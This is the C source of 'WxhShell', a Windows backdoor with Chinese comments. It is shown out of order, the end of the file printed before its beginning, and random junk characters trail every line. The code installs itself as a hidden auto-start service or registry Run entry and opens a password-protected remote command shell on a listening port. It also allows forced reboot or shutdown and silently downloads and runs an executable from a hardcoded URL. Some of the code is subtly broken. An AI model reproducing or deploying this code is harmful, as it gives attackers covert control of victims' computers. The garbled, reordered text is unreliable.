    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oU*45B`"  
    else { QXgE dsw  
    closesocket(wsh); #OO>rm$  
    ExitThread(0); r SkUSe6  
    } 06q(aI^Ch@  
    break; T .FI'wy  
    } vw,rF`LjZ  
  // 关机 ;r[@v347  
  case 'd': { BZ54*\t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "pP^*9FrA  
    if(Boot(SHUTDOWN)) G` XC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ZM4F?x  
    else { -i yyn ^|  
    closesocket(wsh); 6 5N~0t  
    ExitThread(0); ?L&'- e@  
    } Eow_&#WW;P  
    break; ,'xYlH3s  
    } *!s;"U  
  // 获取shell l*\y  
  case 's': { 1 i[\T  
    CmdShell(wsh); 0j"8@<  
    closesocket(wsh); t3(]YgF  
    ExitThread(0); 0Z[oKXm1p  
    break; SCvVt  
  } J_x13EaV0  
  // 退出 +LM#n#T  
  case 'x': { ?=m?jNa;nC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m< _S_c  
    CloseIt(wsh); Bp8'pj;~  
    break; S"wR%\NIp  
    } OxI/%yv-c  
  // 离开 6KpHnSW  
  case 'q': { )M6w5g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $,+O9Et  
    closesocket(wsh); =6"2UC&  
    WSACleanup(); W`\R%>$H  
    exit(1); 35E_W>n  
    break; I!e})Y  
        } I)A`)5="5  
  } s l]_M  
  } X.hm s?]  
P"B0_EuR<T  
  // 提示信息 h4q|lA6!k8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Llr>9(|  
} L#E] BY  
  } K+;e4_\  
,lZB96r0  
  return; o.0ci+z@  
} ZI=%JU(  
f7m%|v!  
// shell模块句柄 {}3${  
int CmdShell(SOCKET sock) $5Xh,DOg  
{ tjupJ*Rt  
STARTUPINFO si; T:5fc2Ngv  
ZeroMemory(&si,sizeof(si)); kS bu]AB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h }B% /U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5$V_Hj  
PROCESS_INFORMATION ProcessInfo; tmQH|'>>  
char cmdline[]="cmd"; "jG}B.l=,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bbrXgQ`s+w  
  return 0; c-B cA  
} F(tx)V ~T3  
6 J{k(H$3  
// 自身启动模式 "?V0$-DR  
int StartFromService(void) |&RU/a  
{ RhncBKm*M  
typedef struct XUz3*rfs  
{ j'A_'g'^  
  DWORD ExitStatus; Y;?{|  
  DWORD PebBaseAddress; O8h%3&  
  DWORD AffinityMask; H Z'_r cv  
  DWORD BasePriority; _f$^%?^  
  ULONG UniqueProcessId; a!=D[Gz*5  
  ULONG InheritedFromUniqueProcessId; "wNJ  
}   PROCESS_BASIC_INFORMATION; +j< p \Kn>  
,P;Pm68V  
PROCNTQSIP NtQueryInformationProcess; Tj:B!>>  
 R}O_[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [ucpd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \WxukYH  
03q 5e  
  HANDLE             hProcess; /;oX)]W  
  PROCESS_BASIC_INFORMATION pbi; `aciXlqIF  
MF5[lK9e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wB.&}p9p  
  if(NULL == hInst ) return 0; 9[<)WQe6M  
RZXjgddL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )h7<?@wv&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e)d`pQ6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sS*3=Yh  
#d6)#:uss  
  if (!NtQueryInformationProcess) return 0; hb}+A=A=+  
Gefne[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 37s0e;aF  
  if(!hProcess) return 0; Ff)8Q.m  
Zy`m!]G]80  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h2G$@8t}I  
45@^L's  
  CloseHandle(hProcess); RoPRQCE  
]s<[D$ <,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t'n pG}`tE  
if(hProcess==NULL) return 0; nLXlU*ES  
l3)} qu  
HMODULE hMod; }\B><E{G  
char procName[255]; '=b/6@&  
unsigned long cbNeeded; ;r<^a6B  
X $jWo@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6^]+[q}3  
!|^|,"A)  
  CloseHandle(hProcess); IG2r#N|C#  
B3 8]~'8  
if(strstr(procName,"services")) return 1; // 以服务启动 ofm#'7P 0  
CsGx@\jN  
  return 0; // 注册表启动 v[1aW v:  
} ]Sf]J4eQ  
Lt64JH^lz  
// 主模块 m| n  
int StartWxhshell(LPSTR lpCmdLine) *4\:8  
{ ;U/&I3dzV  
  SOCKET wsl; ztcp/1jIvS  
BOOL val=TRUE; Fs9!S a7v  
  int port=0; o#3ly-ht  
  struct sockaddr_in door; ]_f_w 9]  
e"{{ TcNk  
  if(wscfg.ws_autoins) Install(); V?6a 8lJ  
y0L_"e/  
port=atoi(lpCmdLine); u^^[Q2LDU}  
5_GYrR2  
if(port<=0) port=wscfg.ws_port; f%][}NN)Xr  
L/$H"YOv  
  WSADATA data; 'j#*6xD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C0T;![/4A  
we;-~A5J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n<LEler#M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *#,7d"6W5  
  door.sin_family = AF_INET; n(1l}TJy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); luh$2 \5B  
  door.sin_port = htons(port); ^O?/yV?4c  
<sb~ ^B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZgTW.<.%2  
closesocket(wsl); ]C!gQq2'a  
return 1; X _q\Sg  
} ,0 M_ Bk"  
V(H1q`ao9  
  if(listen(wsl,2) == INVALID_SOCKET) { o_izl \  
closesocket(wsl); D+rxT: d  
return 1; )1?y 8_B  
} f z'@_4hg  
  Wxhshell(wsl); YL!P0o13r  
  WSACleanup(); @a! #G  
p $S*dr  
return 0; ;AG8C#_  
.]8ZwAs=&  
} hNC&T`.-~B  
b6,iZ+]  
// 以NT服务方式启动 Ouk ^O}W6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vr3Zu{&2  
{ 5%Y3 Kwyy  
DWORD   status = 0; T$8)u'-pa  
  DWORD   specificError = 0xfffffff; ROH|PKb7  
=Qy<GeY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j\eI0b @*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8SMxw~9$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0{5w 6  
  serviceStatus.dwWin32ExitCode     = 0; sA+ }TNhq  
  serviceStatus.dwServiceSpecificExitCode = 0; ( >LF(ll  
  serviceStatus.dwCheckPoint       = 0; A#e%^{q$  
  serviceStatus.dwWaitHint       = 0; LQ@"Xe]5  
u+9hL4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tHU2/V:R  
  if (hServiceStatusHandle==0) return; [:7'?$  
g_;\iqxL  
status = GetLastError(); /J]5H  
  if (status!=NO_ERROR) /!0={G  
{ ^}RCoE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iDpSj!x/_  
    serviceStatus.dwCheckPoint       = 0; mVj9, q0  
    serviceStatus.dwWaitHint       = 0; KYB`D.O   
    serviceStatus.dwWin32ExitCode     = status; '+@=ILj>  
    serviceStatus.dwServiceSpecificExitCode = specificError; akmkyrz'&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  eb ?x9h  
    return; Kew@&j~  
  } ]=\].% >  
GV1pn) 4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .#EFLXs  
  serviceStatus.dwCheckPoint       = 0; l|u>Tb|V  
  serviceStatus.dwWaitHint       = 0; W8G,=d}6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,V7nzhA2  
} 0 j^Kgx  
B`EJb71^Xy  
// 处理NT服务事件,比如:启动、停止 x[cL Bc<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y5vvu>nd  
{ &5>Kl}7  
switch(fdwControl) !hm]fh_j  
{ 21n?=[  
case SERVICE_CONTROL_STOP: &eJfGt5  
  serviceStatus.dwWin32ExitCode = 0; %U/(|wodd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 49eD1h3'X[  
  serviceStatus.dwCheckPoint   = 0; |44Ploz2b  
  serviceStatus.dwWaitHint     = 0; (O\ )_#-D  
  { :@yEQ#nFp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [|v][Hwv  
  } \P[Y`LYL  
  return; Kf3"Wf^q   
case SERVICE_CONTROL_PAUSE: t^&Cxh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ::`HQ@^  
  break; 9p]QM)M  
case SERVICE_CONTROL_CONTINUE: 59LG{R2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8C40%q..  
  break; :'Vf g[Uq  
case SERVICE_CONTROL_INTERROGATE: )705V|v  
  break; Zj(AJ*r  
}; x5pdS:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e+EQ]<M  
} )+#` CIv  
H8=N@l  
// 标准应用程序主函数 _O?`@g?i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ibcRU y0%  
{ Y/F6\oh  
KR} ?H#%  
// 获取操作系统版本 :@Pl pF K  
OsIsNt=GetOsVer(); /WcG{Wdp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @NR>{Eg  
y RqL9t  
  // 从命令行安装 10Q ]67  
  if(strpbrk(lpCmdLine,"iI")) Install(); /PVk{3  
(g]!J_Z"  
  // 下载执行文件 g>%o #P7  
if(wscfg.ws_downexe) { x>K Or,f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4Z3su^XR  
  WinExec(wscfg.ws_filenam,SW_HIDE); ijv(9mR  
} rSY!vkLE\  
l$KA)xbI  
if(!OsIsNt) { <)Dj9' _J  
// 如果时win9x,隐藏进程并且设置为注册表启动 U gat1Pz  
HideProc(); phXGn m  
StartWxhshell(lpCmdLine); +Ze} B*0  
} hPkp;a #  
else b`Zx!^  
  if(StartFromService()) ScOK)nL"  
  // 以服务方式启动 E_rI?t^  
  StartServiceCtrlDispatcher(DispatchTable); gT. sj d  
else VD*6g%p  
  // 普通方式启动 CO/]wS  
  StartWxhshell(lpCmdLine); T=DbBy0-  
yZY\MB/  
return 0; ^e,.  
} .vf'YNQ%  
u[;\y|75  
NWESP U):w  
),%%$G\  
=========================================== uh0VFL*@  
/xBb[44z8  
z _$%-6  
BKCiIfkZ  
>b}o~F^J  
XT%nbh&y  
" n&4N[Qlv,  
C}j"Qi`  
#include <stdio.h> B3`5O[ 6  
#include <string.h> ,Fl)^Gl8?  
#include <windows.h> EU 6oQ  
#include <winsock2.h> QE+g j8  
#include <winsvc.h> 1ba~SHi  
#include <urlmon.h> :`#d:.@]o@  
eS^7A}*wd-  
#pragma comment (lib, "Ws2_32.lib") 1s&zMWC  
#pragma comment (lib, "urlmon.lib") z|J_b"u4  
H7Rx>h_  
#define MAX_USER   100 // 最大客户端连接数 C[AqFo  
#define BUF_SOCK   200 // sock buffer ! I:%0D  
#define KEY_BUFF   255 // 输入 buffer Tk[ $5u*,  
!PlEO 2at  
#define REBOOT     0   // 重启 EWhK0Vej=  
#define SHUTDOWN   1   // 关机 F{e@W([  
O/(`S<iip  
#define DEF_PORT   5000 // 监听端口 }"H,h)T  
|3b^~?S  
#define REG_LEN     16   // 注册表键长度 5 V~oIL  
#define SVC_LEN     80   // NT服务名长度 n38p!oS  
ub0.J#j@  
// 从dll定义API ?zMHP#i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P`+{@@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !*&V- 4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2a)xTA#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s\(k<Ks  
&|1<v<I5  
// wxhshell配置信息 H|<[YYk  
struct WSCFG { k"%~"9  
  int ws_port;         // 监听端口 2zA4vZkbcw  
  char ws_passstr[REG_LEN]; // 口令 p4rL}Jm&  
  int ws_autoins;       // 安装标记, 1=yes 0=no iuW[`ou X  
  char ws_regname[REG_LEN]; // 注册表键名 Rok7n1gW  
  char ws_svcname[REG_LEN]; // 服务名 UgSB>V<?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wmL'F:UP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |s(FLF-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZQsJL\x[UK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1=c\Rr9]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eK=xrk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8 >EWKI9  
#G|RnV%t$~  
}; pj{`'; :g  
XEp{VC@=  
// default Wxhshell configuration ^mDe08. %b  
struct WSCFG wscfg={DEF_PORT, gfd"v  
    "xuhuanlingzhe", d L 1tl  
    1, 4[r0G+  
    "Wxhshell", 'F3f+YD  
    "Wxhshell", Sq V},  
            "WxhShell Service", b5I I/Y  
    "Wrsky Windows CmdShell Service", [({nj`  
    "Please Input Your Password: ", %N6A+5H  
  1, x /S}Q8!"}  
  "http://www.wrsky.com/wxhshell.exe", }'V5/>m[  
  "Wxhshell.exe" 6vo;!V6  
    }; }OR@~V{Gj  
G6P?2@  
// 消息定义模块 TH&U j1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u(>^3PJ+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L-WT]&n_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OJuG~euy  
char *msg_ws_ext="\n\rExit."; OmpND{w  
char *msg_ws_end="\n\rQuit."; gnOt+W8  
char *msg_ws_boot="\n\rReboot..."; nbD*x|  
char *msg_ws_poff="\n\rShutdown..."; QUc= &5 %  
char *msg_ws_down="\n\rSave to "; /<=u\e'rE  
fI}to&qk  
char *msg_ws_err="\n\rErr!"; 5y [Oj^  
char *msg_ws_ok="\n\rOK!"; 9@(PWz=`?  
E)5\i-n  
char ExeFile[MAX_PATH]; wr/"yQA]  
int nUser = 0; qZtzO2Mt  
HANDLE handles[MAX_USER]; |!3DPA(_  
int OsIsNt; uK"=i8rs4  
v\gLWq'  
SERVICE_STATUS       serviceStatus; Bi3<7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \5:i;AE  
zm5]J  
// 函数声明 .+3g*Dv{&  
int Install(void); yy^q2P  
int Uninstall(void); (ylTp]~mR-  
int DownloadFile(char *sURL, SOCKET wsh); ooj,/IEQ  
int Boot(int flag); x_N'TjS^{  
void HideProc(void); x;P_1J%Q  
int GetOsVer(void); .\ULbN3Z  
int Wxhshell(SOCKET wsl); (&F}/s gbi  
void TalkWithClient(void *cs); y| i,|  
int CmdShell(SOCKET sock); nLZTK&7}  
int StartFromService(void); UT~4x|b:O  
int StartWxhshell(LPSTR lpCmdLine); ICx#{q@f,  
;>EM[u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .Ni\\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TCwFPlF|  
o4F2%0gJ  
// 数据结构和表定义 s^G.]%iU  
SERVICE_TABLE_ENTRY DispatchTable[] = =vCY?I$P  
{ b.JuI  
{wscfg.ws_svcname, NTServiceMain}, u"cV%(#  
{NULL, NULL} *eTqVG.  
}; D09Sg%w  
B dj!ia;H  
// 自我安装 9iIhte.  
int Install(void) Z*]9E^  
{ O~#!l"0 L+  
  char svExeFile[MAX_PATH]; B[Ku\A6&  
  HKEY key; / |;RV"  
  strcpy(svExeFile,ExeFile); _lJ!R:*  
%A9NB!  
// 如果是win9x系统,修改注册表设为自启动 |PCm01NU!  
if(!OsIsNt) { p?%y82E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { shy-Gu&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qdJ=lhHM}  
  RegCloseKey(key); .LnGL]/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B:yGS*.tu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mlg0WrJ|2  
  RegCloseKey(key); T\6dm/5  
  return 0; YNyk1cE  
    } b5dD/-Vj  
  } E1aHKjLQ  
} mUAi4N  
else { e\`&p  
ed{ -/l~j  
// 如果是NT以上系统,安装为系统服务 (&Kk7<#`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x/I%2F  
if (schSCManager!=0) F`9xVnK=  
{ x*\Y)9Vgy  
  SC_HANDLE schService = CreateService }#RakV4  
  ( ,GhS[VJjR  
  schSCManager, )5Q~I,dP  
  wscfg.ws_svcname, oj m @t  
  wscfg.ws_svcdisp, \$~|ZwV{  
  SERVICE_ALL_ACCESS, $t'MSlF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !OhC/f(GBZ  
  SERVICE_AUTO_START, K^)Eb(4  
  SERVICE_ERROR_NORMAL, Z!a =dnwHz  
  svExeFile, `!3SF|x&  
  NULL, p}z<Fdu 0  
  NULL, 8+Lm's=W*  
  NULL, g-4M3of  
  NULL, 1Z/(G1  
  NULL 13$%,q)  
  ); u OmtyX  
  if (schService!=0) eH'av}  
  { ) yi E@ X  
  CloseServiceHandle(schService); a_^\=&?'  
  CloseServiceHandle(schSCManager); /Vx7mF:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wv>^0\o  
  strcat(svExeFile,wscfg.ws_svcname); ^KnU4sD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r..iko]T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *2>&"B09`  
  RegCloseKey(key); u"r`3P`  
  return 0; ?8H8O %Z8  
    } > ym,{EHK  
  } P[G)sA_"  
  CloseServiceHandle(schSCManager); kf\PioD8  
} r Xt}6[S  
} [NjXO`5#]  
xk9%F?)  
return 1; IEL%!RFG  
} ;RZ )  
 sg^zH8,3  
// 自我卸载 GLH0 ]  
int Uninstall(void) wQ:)KjhHH  
{ y1jCg%'H  
  HKEY key; yM6pd U]i  
UP$.+<vm  
if(!OsIsNt) { ANAVn@ [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XAD- 'i  
  RegDeleteValue(key,wscfg.ws_regname); wyH[x!QX  
  RegCloseKey(key); r(>@qGN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CCs%%U/=  
  RegDeleteValue(key,wscfg.ws_regname); )J o: pkM  
  RegCloseKey(key); <`8n^m*  
  return 0; { T/[cu<  
  } Pa>AWOG'  
} h"B+hu  
} CImWd.W9~  
else { ].avItg  
<)C#_w)-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]6k\)#%2  
if (schSCManager!=0) ]? c B:}  
{ ; }I:\P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '0;l]/i.  
  if (schService!=0) c8 )DuJ#U  
  { x;O[c3I  
  if(DeleteService(schService)!=0) { h6Ub}(Ov  
  CloseServiceHandle(schService); % :f&.@'r  
  CloseServiceHandle(schSCManager); KWbI'}_z  
  return 0; udK%>  
  } X;+sUj8  
  CloseServiceHandle(schService); xJpA0_xfG  
  } F@D`N0Pte  
  CloseServiceHandle(schSCManager); +zqn<<9  
} q_:4w$>  
} V5@:#BIs  
J/`<!$<c  
return 1; Y sC>i`n9  
} TIqtF&@o4  
8L=HW G!1  
// 从指定url下载文件 l ~"^7H?4e  
int DownloadFile(char *sURL, SOCKET wsh) 3GYw+%Z]  
{ nQZx= JK  
  HRESULT hr; BiLY(1,  
char seps[]= "/"; U7,e/?a  
char *token; tn\yI!a  
char *file; /obfw^  
char myURL[MAX_PATH]; VcE:G#]5  
char myFILE[MAX_PATH]; E:_ZA  
zy?|ODM  
strcpy(myURL,sURL); 5:[0z5Hww  
  token=strtok(myURL,seps); eI}aQ]$ED  
  while(token!=NULL) F}yW/  
  { )th<,Lo3#  
    file=token; 0@0w+&*"@  
  token=strtok(NULL,seps); 4&lv6`G `  
  } (*9$`!wS  
biD$qg  
GetCurrentDirectory(MAX_PATH,myFILE); Ys9[5@7  
strcat(myFILE, "\\"); caR<Kb:;*  
strcat(myFILE, file); VOsR An/N  
  send(wsh,myFILE,strlen(myFILE),0); [o#oa k{U  
send(wsh,"...",3,0); kOrZv,qFG[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _#E0g'3  
  if(hr==S_OK) :wyno#8`-  
return 0; & bm 1Fz  
else 4}baSV  
return 1; JPI3[.o  
|)DGkOtd  
} m,_Z6=I:  
nIf1sH>  
// 系统电源模块  `,*3[  
int Boot(int flag) [ZwjOi:)  
{ wc@X.Q[  
  HANDLE hToken; J$DE"| -  
  TOKEN_PRIVILEGES tkp; GT.,  
<]t%8GB2V  
  if(OsIsNt) { QD&`^(X1p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w$iX.2|9%u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;\dBfP  
    tkp.PrivilegeCount = 1; %g$o/A$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \A#41  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \~mT] '5  
if(flag==REBOOT) { l~q\3UKlt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CJx|?yK2  
  return 0; Xf]d. :  
} k/_ 59@)  
else { H [\o RId  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]L.O8  
  return 0; @+2=g WH  
} r.&Vw|*>  
  } 1~_{$5[X?  
  else { [ -K&R  
if(flag==REBOOT) { X=&ET)8-Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `UyG_;  
  return 0; 3BJ0S.TF  
} ibk6|pp  
else { 7hcYD!DS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kd(8I_i@  
  return 0; `wEb<H  
} >z>!Luw  
} AM\'RHL  
BoWg0*5xb  
return 1; dt]-,Y  
} R4cM%l_#W  
bl;1i@Z*M  
// win9x进程隐藏模块 C`9+6T  
void HideProc(void) ` p-cSxR_  
{ %)W2H^  
pofie$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~rKrpb]ow  
  if ( hKernel != NULL ) hd<c&7|G'  
  { }@+0/W?\.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I3I/bofz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J/aC}}5D  
    FreeLibrary(hKernel); Y eo]]i{  
  } dn+KH+v  
\'D0'\:vz  
return; *Kg ks4  
} n M*%o-  
m}t`FsB.  
// 获取操作系统版本 osAd1<EIC  
int GetOsVer(void) *)T^Ch D,  
{ #OD/$f_  
  OSVERSIONINFO winfo; xs bE TP?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AjMh,@  
  GetVersionEx(&winfo); 1};Stai'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9}<ile7^  
  return 1; g |yvF-+  
  else O KR "4n:  
  return 0; 06Sceq  
} .j0$J\:i  
ChPmX+.i_  
// 客户端句柄模块 l'.VKh\C  
int Wxhshell(SOCKET wsl) "7F?@D$e  
{ 6j]0R*B7`Q  
  SOCKET wsh; ]MitOkX  
  struct sockaddr_in client; *fS"ym@  
  DWORD myID; w-MCZwCr)  
m@v\(rT.  
  while(nUser<MAX_USER) k"zv~`i'  
{ ??vLUv  
  int nSize=sizeof(client); K!Y71_#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oIzj,v8$  
  if(wsh==INVALID_SOCKET) return 1; MaQqs=  
:>f )g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )lqAD+9Q  
if(handles[nUser]==0) L+i=VGm0  
  closesocket(wsh); 051 E6-  
else "_NN3lD)X  
  nUser++; nT$SfGFj8  
  } 04P}-L,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s)D;a-F  
C XMLt  
  return 0;  {Gk1vcq  
} 8^1 Te m  
=K[yT:  
// 关闭 socket 0-Ku7<a  
void CloseIt(SOCKET wsh) O;jrCB  
{ 0 ZKx<]!  
closesocket(wsh); FGmb<z 2p  
nUser--; Z0", !6nS  
ExitThread(0); sBg.u  
} \?k'4rH  
Q\7h`d%)  
// 客户端请求句柄 #r\4sVg  
void TalkWithClient(void *cs) .|fH y  
{ \V~eVf;~  
7.j?U  
  SOCKET wsh=(SOCKET)cs; 6 V=9M:  
  char pwd[SVC_LEN]; .?sx&2R2  
  char cmd[KEY_BUFF]; v^*K:#<Q!  
char chr[1]; ;'@9[N9  
int i,j; ~HsJUro  
nMUw_7Y6  
  while (nUser < MAX_USER) { 0IBSRFt$g&  
z$. 88 ^  
if(wscfg.ws_passstr) { K Z91-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !z3jTv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \X D6 pr@  
  //ZeroMemory(pwd,KEY_BUFF); vXZOy%$o  
      i=0; ;dgp+  
  while(i<SVC_LEN) { zHRplm+ i  
>} i  E(  
  // 设置超时 &B1WtW  
  fd_set FdRead; uHzU-FZ|B  
  struct timeval TimeOut; eru.m+\  
  FD_ZERO(&FdRead); Kis"L(C  
  FD_SET(wsh,&FdRead); h3 }OX{k  
  TimeOut.tv_sec=8; I,vJbvvl!  
  TimeOut.tv_usec=0; 4!no~ $b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }WXi$(@v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eo]xNn/g  
v PG},m~-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hhc,uJ">!  
  pwd=chr[0]; VuZuS6~#J  
  if(chr[0]==0xd || chr[0]==0xa) { ;iL#7NG-R  
  pwd=0; &d^m 1  
  break; S;#'M![8  
  } v`Oc,  
  i++; "J_9WUN  
    } M%P:n/j  
)1`0PJoHE  
  // 如果是非法用户,关闭 socket T+H!_ky`A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fuf"Ae  
} vV-`jsq20H  
w%jII{@,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -X2Buz8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~V1E0qdAE  
sS'm!7*(3  
while(1) { VTY 5]|;  
f(y:G^V  
  ZeroMemory(cmd,KEY_BUFF); Ean5b>\  
],Do6 @M-  
      // 自动支持客户端 telnet标准   ope^~+c~\  
  j=0; ar+9\  
  while(j<KEY_BUFF) {  S9FE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u <v7;dF|s  
  cmd[j]=chr[0]; ?J >  
  if(chr[0]==0xa || chr[0]==0xd) { s R/F"  
  cmd[j]=0; HvJs1)Wo&  
  break; PIS2Ed]  
  } i2SR{e8:GF  
  j++; 5MJS ~(  
    } <$Yd0hxjU  
"'?>fe\qG  
  // 下载文件 T'Dv.h  
  if(strstr(cmd,"http://")) { a~y'RyA  
